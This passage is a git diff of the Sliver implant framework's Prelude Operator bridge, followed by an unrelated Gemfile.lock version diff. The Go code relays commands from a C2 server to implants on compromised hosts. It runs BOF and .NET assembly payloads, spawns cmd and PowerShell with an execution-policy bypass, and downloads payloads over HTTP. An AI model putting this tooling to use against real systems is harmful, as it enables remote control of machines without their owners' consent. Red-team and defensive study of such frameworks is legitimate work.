 		switch a.ArgType {
-		case "integer":
-			fallthrough
 		case "int":
 			if v, ok := a.Value.(float64); ok {
 				err = bofArgs.AddInt(uint32(v))
@@ -108,19 +89,13 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
 		ServerStore: false,
 		Args:        extArgsBuffer,
 		Export:      loaderEntryPoint,
-		Request:     MakeRequest(implant),
+		Request:     MakeRequest(session),
 	})
 
 	if err != nil {
 		return
 	}
 
-	// If Async req, onFinishCallback won't be nil
-	if onFinishCallback != nil {
-		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
-		return
-	}
-
 	if extResp.Response != nil && extResp.Response.Err != "" {
 		err = errors.New(extResp.Response.Err)
 	}
@@ -129,16 +104,16 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
 	return
 }
 
-func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
+func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
 	var coffLoaderPath string
 
-	switch implant.GetArch() {
+	switch session.Arch {
 	case "amd64":
 		coffLoaderPath = "COFFLoader.x64.dll"
 	case "386":
 		coffLoaderPath = "COFFLoader.x86.dll"
 	}
-	loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
+	loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
 	loaderData, err := ioutil.ReadFile(loaderPath)
 	if err != nil {
 		return err
@@ -146,9 +121,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
 	resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    coffLoaderName,
 		Data:    loaderData,
-		OS:      implant.GetOS(),
+		OS:      session.OS,
 		Init:    "",
-		Request: MakeRequest(implant),
+		Request: MakeRequest(session),
 	})
 	if err != nil {
 		return err
@@ -159,9 +134,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
 	return nil
 }
 
-func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
+func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
 	extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: MakeRequest(implant),
+		Request: MakeRequest(session),
 	})
 	if err != nil {
 		return false

client/prelude/bridge.go

@@ -1,206 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"context"
-	"encoding/hex"
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util"
-)
-
-const (
-	defaultTimeout = 60
-	delim          = "\r\n"
-)
-
-// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
-// to a Prelude Operator implant with a TCP transport.
-type OperatorImplantBridge struct {
-	Conn           *net.Conn
-	Implant        ActiveImplant
-	RPC            rpcpb.SliverRPCClient
-	PBeacon        OperatorBeacon
-	BeaconCallback func(string, func(*clientpb.BeaconTask))
-	Config         AgentConfig
-
-	recv chan []byte
-	send chan []byte
-}
-
-func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
-	return &OperatorImplantBridge{
-		Conn:           c,
-		Implant:        a,
-		RPC:            rpc,
-		Config:         conf,
-		BeaconCallback: callback,
-		PBeacon:        pbeacon,
-		recv:           make(chan []byte),
-		send:           make(chan []byte),
-	}
-}
-
-func (a *OperatorImplantBridge) register() {
-	data, err := json.Marshal(a.PBeacon)
-	if err != nil {
-		return
-	}
-	encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
-	dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
-	(*a.Conn).Write(dataBuff)
-}
-
-func (a *OperatorImplantBridge) ReceiveLoop() {
-	a.register()
-	go func() {
-		for {
-			data := <-a.send
-			encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
-			dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
-			(*a.Conn).Write(dataBuff)
-			time.Sleep(time.Duration(a.PBeacon.Sleep))
-		}
-	}()
-	for {
-		scanner := bufio.NewScanner(*a.Conn)
-		for scanner.Scan() {
-			msg := strings.TrimSpace(scanner.Text())
-			a.handleMessage(msg)
-		}
-	}
-}
-
-func (a *OperatorImplantBridge) handleMessage(message string) {
-	var tempBeacon OperatorBeacon
-	decoded, err := hex.DecodeString(message)
-	if err != nil {
-		return
-	}
-	if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
-		a.PBeacon.Links = a.PBeacon.Links[:0]
-		a.runLinks(&tempBeacon)
-	}
-}
-
-func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
-	for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
-		time.Sleep(time.Second * 1)
-		var payload []byte
-		if link.Payload != "" {
-			payload, _ = requestPayload(link.Payload)
-		}
-
-		// If we're running on a Beacon
-		if implantBridge.BeaconCallback != nil {
-			RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
-				link.Response = response
-				link.Status = status
-				link.Pid = pid
-				implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
-				implantBridge.Config.EndInstruction(link)
-				implantBridge.refreshBeacon()
-				data, err := json.Marshal(implantBridge.PBeacon)
-				if err != nil {
-					return
-				}
-				implantBridge.send <- data
-			})
-			return
-		}
-		// Running on a Session
-		response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
-		link.Response = response
-		link.Status = status
-		link.Pid = pid
-		implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
-		implantBridge.Config.EndInstruction(link)
-		implantBridge.refreshBeacon()
-		data, err := json.Marshal(implantBridge.PBeacon)
-		if err != nil {
-			return
-		}
-		implantBridge.send <- data
-
-	}
-}
-
-func requestPayload(target string) ([]byte, error) {
-	resp, err := http.Get(target)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
-	}
-	return ioutil.ReadAll(resp.Body)
-}
-
-func (a *OperatorImplantBridge) refreshBeacon() {
-	var pwd string
-	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a.Implant),
-	})
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	a.PBeacon.Sleep = a.Config.Sleep
-	a.PBeacon.Range = a.Config.Range
-	a.PBeacon.Pwd = pwd
-	a.PBeacon.Target = a.Config.Address
-	a.PBeacon.Executing = a.Config.BuildExecutingHash()
-
-}
-
-func MakeRequest(a ActiveImplant) *commonpb.Request {
-	timeout := int64(defaultTimeout)
-	req := &commonpb.Request{
-		Timeout: timeout,
-	}
-	if a == nil {
-		return nil
-	}
-
-	beacon, ok := a.(*clientpb.Beacon)
-	if ok {
-		req.BeaconID = beacon.ID
-		req.Async = true
-		return req
-	}
-	session, ok := a.(*clientpb.Session)
-	if ok {
-		req.SessionID = session.ID
-		req.Async = false
-		return req
-	}
-
-	return nil
-}

client/prelude/commands.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
+	Copyright (C) 2021  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -24,13 +24,11 @@ import (
 	"fmt"
 	"strings"
 
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
 )
 
 //RunCommand executes a given command
-func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
+func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
 	switch executor {
 	case "keyword":
 		task := splitMessage(message, '.')
@@ -48,25 +46,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
 			if payload == nil {
 				return "missing BOF file", ErrorExitStatus, ErrorExitStatus
 			}
-			out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
-			if err != nil {
-				return err.Error(), ErrorExitStatus, ErrorExitStatus
-			}
-			return out, 0, 0
-		case "execute-assembly":
-			if len(task) < 2 {
-				break
-			}
-			var eaargs execasmArgs
-			argStr := strings.ReplaceAll(task[1], `\`, `\\`)
-			err := json.Unmarshal([]byte(argStr), &eaargs)
-			if err != nil {
-				return err.Error(), ErrorExitStatus, ErrorExitStatus
-			}
-			if payload == nil {
-				return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
-			}
-			out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
+			out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
@@ -77,47 +57,30 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
 			return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
 		}
 	default:
-		bites, status, pid := execute(message, executor, agentSession, onFinish)
+		bites, status, pid := execute(message, executor, agentSession)
 		return string(bites), status, pid
 	}
 	return "", ErrorExitStatus, ErrorExitStatus
 }
 
-func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
+func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
 	args := append(getCmdArg(executor), cmd)
 	if executor == "psh" {
 		executor = "powershell.exe"
-	} else if executor == "exec" {
-		commandSections := strings.Fields(cmd)
-		executor = commandSections[0]
-		args = commandSections[1:]
 	}
-	execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
+	execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
 		Path:    executor,
 		Args:    args,
 		Output:  true,
-		Request: MakeRequest(implantBridge.Implant),
+		Request: MakeRequest(agentSession.Session),
 	})
 
 	if err != nil {
-		return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
+		return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
 	}
 
-	// Beacon
-	if execResp.Response != nil && execResp.Response.Async {
-		implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, execResp)
-			if err != nil {
-				return
-			}
-			onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
-		})
-		return "", 0, 0
-	}
-
-	// Session
 	if execResp.Response != nil && execResp.Response.Err != "" {
-		return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
+		return execResp.Response.Err, 0, 0
 	}
 	return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
 }
@@ -126,11 +89,9 @@ func getCmdArg(executor string) []string {
 	var args []string
 	switch executor {
 	case "cmd":
-		args = []string{"/S", "/C"}
+		args = []string{"/C", "/S"}
 	case "powershell", "psh":
-		args = []string{"-execu", "-C"}
-	case "exec":
-		args = []string{}
+		args = []string{"-execu", "ByPasS", "-C"}
 	case "sh", "bash", "zsh":
 		args = []string{"-c"}
 	}
@@ -148,13 +109,13 @@ func splitMessage(message string, splitRune rune) []string {
 	return values
 }
 
-func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
+func shutdown(agentSession *AgentSession) (string, int, int) {
 	_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
 		Force:   false,
-		Request: MakeRequest(agentSession.Implant),
+		Request: MakeRequest(agentSession.Session),
 	})
 	if err != nil {
 		return err.Error(), ErrorExitStatus, ErrorExitStatus
 	}
-	return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
+	return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
 }

client/prelude/config.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
+	Copyright (C) 2021  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
 
 type Configuration interface {
 	ApplyConfig(ac map[string]interface{})
-	BuildBeacon() OperatorBeacon
+	BuildBeacon() Beacon
 }
 
 type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
 	Executing      map[string]Instruction
 }
 
-type OperatorBeacon struct {
+type Beacon struct {
 	Name      string
 	Target    string
 	Hostname  string

client/prelude/execute-assembly.go

@@ -1,68 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"errors"
-
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-type execasmArgs struct {
-	IsDLL        bool   `json:"isDLL"`
-	Process      string `json:"process"`
-	Arguments    string `json:"arguments"`
-	Architecture string `json:"architecture"`
-	Method       string `json:"method"`
-	Class        string `json:"class"`
-	AppDomain    string `json:"appDomain"`
-}
-
-func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
-	extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   MakeRequest(implant),
-		IsDLL:     args.IsDLL,
-		Process:   args.Process,
-		Arguments: args.Arguments,
-		Assembly:  asm,
-		Arch:      args.Architecture,
-		Method:    args.Method,
-		ClassName: args.Class,
-		AppDomain: args.AppDomain,
-	})
-
-	if err != nil {
-		return
-	}
-
-	// If Async req, onFinishCallback won't be nil
-	if onFinishCallback != nil {
-		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
-		return
-	}
-
-	if extResp.Response != nil && extResp.Response.Err != "" {
-		err = errors.New(extResp.Response.Err)
-	}
-	output = string(extResp.Output)
-
-	return
-}

client/prelude/prelude.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
+	Copyright (C) 2021  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,6 +21,7 @@ package prelude
 import (
 	"context"
 	"errors"
+	"fmt"
 	"net"
 	"sync"
 
@@ -30,7 +31,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
-var ImplantMapper *OperatorImplantMapper
+var SessionMapper *PreludeSessionMapper
 
 const defaultImplantSleep = 5
 
@@ -41,45 +42,30 @@ type OperatorConfig struct {
 	AESKey      string
 }
 
-// OperatorImplantMapper maps an OperatorConfig with
-// active Sliver implant sessions/beacons
-type OperatorImplantMapper struct {
-	implantBridges []*OperatorImplantBridge
-	conf           *OperatorConfig
+type PreludeSessionMapper struct {
+	sessions []*AgentSession
+	conf     *OperatorConfig
 	sync.Mutex
 }
 
-// ActiveImplant exposes common methods between
-// Sliver clientpb.Session and clientpb.Beacon
-// that are required by Operator implants
-type ActiveImplant interface {
-	GetID() string
-	GetHostname() string
-	GetPID() int32
-	GetOS() string
-	GetArch() string
-	GetFilename() string
-	GetReconnectInterval() int64
-}
-
-func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
-	if ImplantMapper == nil {
-		ImplantMapper = &OperatorImplantMapper{
-			implantBridges: make([]*OperatorImplantBridge, 0),
-			conf:           conf,
+func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
+	if SessionMapper == nil {
+		SessionMapper = &PreludeSessionMapper{
+			sessions: make([]*AgentSession, 0),
+			conf:     conf,
 		}
 	}
-	return ImplantMapper
+	return SessionMapper
 }
 
-func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
+func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 	var pwd string
 	conn, err := net.Dial("tcp", p.conf.OperatorURL)
 	if err != nil {
 		return err
 	}
 	pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a),
+		Request: MakeRequest(s),
 	})
 	if err != nil {
 		return err
@@ -87,57 +73,55 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
 	if pwdResp != nil {
 		pwd = pwdResp.Path
 	}
-
-	// Use a default sleep time for sessions,
-	// but respect the one we have for beacons
-	sleepTime := defaultImplantSleep
-	if b, ok := a.(*clientpb.Beacon); ok {
-		sleepTime = int(b.ReconnectInterval)
-	}
-
-	beacon := OperatorBeacon{
-		Name:      a.GetID(),
+	// Operator implants have embedded static IDs, but we don't,
+	// so to avoid having multiple sessions showing as one on the Operator
+	// GUI, we need to have a unique name for them.
+	// Plus, having the ID in the name will help the user to make the
+	// correlation.
+	sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
+	beacon := Beacon{
+		Name:      sessName,
 		Target:    p.conf.OperatorURL,
-		Hostname:  a.GetHostname(),
-		Location:  a.GetFilename(),
-		Platform:  a.GetOS(),
+		Hostname:  s.Hostname,
+		Location:  s.Filename,
+		Platform:  s.OS,
 		Range:     p.conf.Range,
-		Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
+		Executors: util.DetermineExecutors(s.OS, s.Arch),
 		Links:     make([]Instruction, 0),
 		Executing: "",
 		Pwd:       pwd,
-		Sleep:     int(sleepTime),
+		Sleep:     defaultImplantSleep,
 	}
 
 	if p.conf.AESKey == "" {
 		return errors.New("missing AES key")
 	}
-	a.GetID()
 	encryptionKey := p.conf.AESKey
 	agentConfig := AgentConfig{
-		Name:      a.GetID(),
+		Name:      sessName,
 		AESKey:    encryptionKey,
 		Range:     p.conf.Range,
 		Contact:   "tcp",
 		Address:   p.conf.OperatorURL,
-		Pid:       int(a.GetPID()),
+		Pid:       int(s.PID),
 		Executing: make(map[string]Instruction),
-		Sleep:     int(sleepTime),
+		Sleep:     defaultImplantSleep,
 	}
-	bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
+	util.EncryptionKey = &agentConfig.AESKey
+	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
 	p.Lock()
-	p.implantBridges = append(p.implantBridges, bridge)
+	p.sessions = append(p.sessions, agentSession)
 	p.Unlock()
-	go bridge.ReceiveLoop()
+	go agentSession.ReceiveLoop()
 	return nil
 }
 
-func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
+func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
 	p.Lock()
-	for _, bridge := range p.implantBridges {
-		if bridge.Implant.GetID() == imp.GetID() {
-			if bridge.Conn != nil {
-				err = (*bridge.Conn).Close()
+	for _, agentSession := range p.sessions {
+		if agentSession.Session.ID == s.ID {
+			if agentSession.Conn != nil {
+				err = (*agentSession.Conn).Close()
 			} else {
 				err = errors.New("connection is nil")
 			}
@@ -147,6 +131,6 @@ func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
 	return err
 }
 
-func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
+func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
 	return p.conf
 }

client/prelude/util/crypto.go

@@ -22,43 +22,44 @@ import (
 	"crypto/aes"
 	"crypto/cipher"
 	"crypto/rand"
+	"encoding/hex"
 	"errors"
+	"fmt"
 	"io"
 )
 
-// PreludeEncrypt the results
-func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
-	plainText, err := pad(data, aes.BlockSize)
+var EncryptionKey *string
+
+//Encrypt the results
+func Encrypt(bites []byte) []byte {
+	plainText, err := pad(bites, aes.BlockSize)
 	if err != nil {
 		return make([]byte, 0)
 	}
-	block, _ := aes.NewCipher(key)
+	block, _ := aes.NewCipher([]byte(*EncryptionKey))
 	cipherText := make([]byte, aes.BlockSize+len(plainText))
-	// Create a random IV if none was provided
-	// len(nil) returns 0
-	if len(iv) == 0 {
-		iv = cipherText[:aes.BlockSize]
-		if _, err := io.ReadFull(rand.Reader, iv); err != nil {
-			return make([]byte, 0)
-		}
+	iv := cipherText[:aes.BlockSize]
+	if _, err := io.ReadFull(rand.Reader, iv); err != nil {
+		return make([]byte, 0)
 	}
 	mode := cipher.NewCBCEncrypter(block, iv)
 	mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
-	return cipherText
+	return []byte(fmt.Sprintf("%x", cipherText))
 }
 
-// PreludeDecrypt a command
-func PreludeDecrypt(data []byte, key []byte) []byte {
-	block, err := aes.NewCipher(key)
+//Decrypt a command
+func Decrypt(text string) string {
+	cipherText, _ := hex.DecodeString(text)
+	block, err := aes.NewCipher([]byte(*EncryptionKey))
 	if err != nil {
-		return nil
+		return ""
 	}
-	iv := data[:aes.BlockSize]
-	data = data[aes.BlockSize:]
+	iv := cipherText[:aes.BlockSize]
+	cipherText = cipherText[aes.BlockSize:]
 	mode := cipher.NewCBCDecrypter(block, iv)
-	mode.CryptBlocks(data, data)
-	data, _ = unpad(data, aes.BlockSize)
-	return data
+	mode.CryptBlocks(cipherText, cipherText)
+	cipherText, _ = unpad(cipherText, aes.BlockSize)
+	return string(cipherText)
 }
 
 func pad(buf []byte, size int) ([]byte, error) {

client/prelude/util/executors.go

@@ -21,23 +21,25 @@ package util
 func DetermineExecutors(platform string, arch string) []string {
 	platformExecutors := map[string]map[string][]string{
 		"windows": {
-			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
-			"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
+			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe"},
+			"executor": {"pwsh", "psh", "cmd", "bof"},
 		},
 		"linux": {
-			"file":     {"python3", "sh", "bash"},
-			"executor": {"python", "sh", "bash"},
+			"file":     {"python3", "pwsh", "sh", "bash"},
+			"executor": {"python", "pwsh", "sh", "bash"},
 		},
 		"darwin": {
-			"file":     {"python3", "zsh", "sh", "osascript", "bash"},
-			"executor": {"python", "zsh", "sh", "osa", "bash"},
+			"file":     {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
+			"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
 		},
 	}
 	var executors []string
 	for platformKey, platformValue := range platformExecutors {
 		if platform == platformKey {
 			for i := range platformValue["file"] {
+				// if checkIfExecutorAvailable(platformValue["file"][i]) {
 				executors = append(executors, platformExecutors[platformKey]["executor"][i])
+				// }
 			}
 		}
 	}

docs/Gemfile.lock

@@ -1,7 +1,7 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.4.6)
+    activesupport (6.0.4)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
@@ -14,54 +14,48 @@ GEM
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.23.4)
+    commonmarker (0.17.13)
+      ruby-enum (~> 0.5)
     concurrent-ruby (1.1.9)
-    dnsruby (1.61.9)
+    dnsruby (1.61.7)
       simpleidn (~> 0.1)
-    em-websocket (0.5.3)
+    em-websocket (0.5.2)
       eventmachine (>= 0.12.9)
-      http_parser.rb (~> 0)
-    ethon (0.15.0)
+      http_parser.rb (~> 0.6.0)
+    ethon (0.14.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (1.10.0)
+    faraday (1.5.0)
       faraday-em_http (~> 1.0)
       faraday-em_synchrony (~> 1.0)
       faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0)
-      faraday-multipart (~> 1.0)
+      faraday-httpclient (~> 1.0.1)
       faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.0)
+      faraday-net_http_persistent (~> 1.1)
       faraday-patron (~> 1.0)
-      faraday-rack (~> 1.0)
-      faraday-retry (~> 1.0)
+      multipart-post (>= 1.2, < 3)
       ruby2_keywords (>= 0.0.4)
     faraday-em_http (1.0.0)
     faraday-em_synchrony (1.0.0)
     faraday-excon (1.1.0)
     faraday-httpclient (1.0.1)
-    faraday-multipart (1.0.3)
-      multipart-post (>= 1.2, < 3)
     faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.2.0)
+    faraday-net_http_persistent (1.1.0)
     faraday-patron (1.0.0)
-    faraday-rack (1.0.0)
-    faraday-retry (1.0.3)
-    ffi (1.15.5)
+    ffi (1.15.3)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (225)
-      github-pages-health-check (= 1.17.9)
+    github-pages (215)
+      github-pages-health-check (= 1.17.2)
       jekyll (= 3.9.0)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.2.0)
+      jekyll-commonmark-ghpages (= 0.1.6)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
       jekyll-github-metadata (= 2.13.0)
-      jekyll-include-cache (= 0.2.1)
       jekyll-mentions (= 1.6.0)
       jekyll-optional-front-matter (= 0.3.2)
       jekyll-paginate (= 1.1.0)
@@ -70,22 +64,22 @@ GEM
       jekyll-relative-links (= 0.6.1)
       jekyll-remote-theme (= 0.4.3)
       jekyll-sass-converter (= 1.5.2)
-      jekyll-seo-tag (= 2.8.0)
+      jekyll-seo-tag (= 2.7.1)
       jekyll-sitemap (= 1.4.0)
       jekyll-swiss (= 1.0.0)
-      jekyll-theme-architect (= 0.2.0)
-      jekyll-theme-cayman (= 0.2.0)
-      jekyll-theme-dinky (= 0.2.0)
-      jekyll-theme-hacker (= 0.2.0)
-      jekyll-theme-leap-day (= 0.2.0)
-      jekyll-theme-merlot (= 0.2.0)
-      jekyll-theme-midnight (= 0.2.0)
-      jekyll-theme-minimal (= 0.2.0)
-      jekyll-theme-modernist (= 0.2.0)
-      jekyll-theme-primer (= 0.6.0)
-      jekyll-theme-slate (= 0.2.0)
-      jekyll-theme-tactile (= 0.2.0)
-      jekyll-theme-time-machine (= 0.2.0)
+      jekyll-theme-architect (= 0.1.1)
+      jekyll-theme-cayman (= 0.1.1)
+      jekyll-theme-dinky (= 0.1.1)
+      jekyll-theme-hacker (= 0.1.2)
+      jekyll-theme-leap-day (= 0.1.1)
+      jekyll-theme-merlot (= 0.1.1)
+      jekyll-theme-midnight (= 0.1.1)
+      jekyll-theme-minimal (= 0.1.1)
+      jekyll-theme-modernist (= 0.1.1)
+      jekyll-theme-primer (= 0.5.4)
+      jekyll-theme-slate (= 0.1.1)
+      jekyll-theme-tactile (= 0.1.1)
+      jekyll-theme-time-machine (= 0.1.1)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
       kramdown (= 2.3.1)
@@ -93,19 +87,19 @@ GEM
       liquid (= 4.0.3)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.12.5, < 2.0)
+      nokogiri (>= 1.10.4, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
-    github-pages-health-check (1.17.9)
+    github-pages-health-check (1.17.2)
       addressable (~> 2.3)
       dnsruby (~> 1.60)
       octokit (~> 4.0)
-      public_suffix (>= 3.0, < 5.0)
+      public_suffix (>= 2.0.2, < 5.0)
       typhoeus (~> 1.3)
     html-pipeline (2.14.0)
       activesupport (>= 2)
       nokogiri (>= 1.4)
-    http_parser.rb (0.8.0)
+    http_parser.rb (0.6.0)
     i18n (0.9.5)
       concurrent-ruby (~> 1.0)
     jekyll (3.9.0)
@@ -126,12 +120,12 @@ GEM
     jekyll-coffeescript (1.1.1)
       coffee-script (~> 2.2)
       coffee-script-source (~> 1.11.1)
-    jekyll-commonmark (1.4.0)
-      commonmarker (~> 0.22)
-    jekyll-commonmark-ghpages (0.2.0)
-      commonmarker (~> 0.23.4)
-      jekyll (~> 3.9.0)
-      jekyll-commonmark (~> 1.4.0)
+    jekyll-commonmark (1.3.1)
+      commonmarker (~> 0.14)
+      jekyll (>= 3.7, < 5.0)
+    jekyll-commonmark-ghpages (0.1.6)
+      commonmarker (~> 0.17.6)
+      jekyll-commonmark (~> 1.2)
       rouge (>= 2.0, < 4.0)
     jekyll-default-layout (0.1.4)
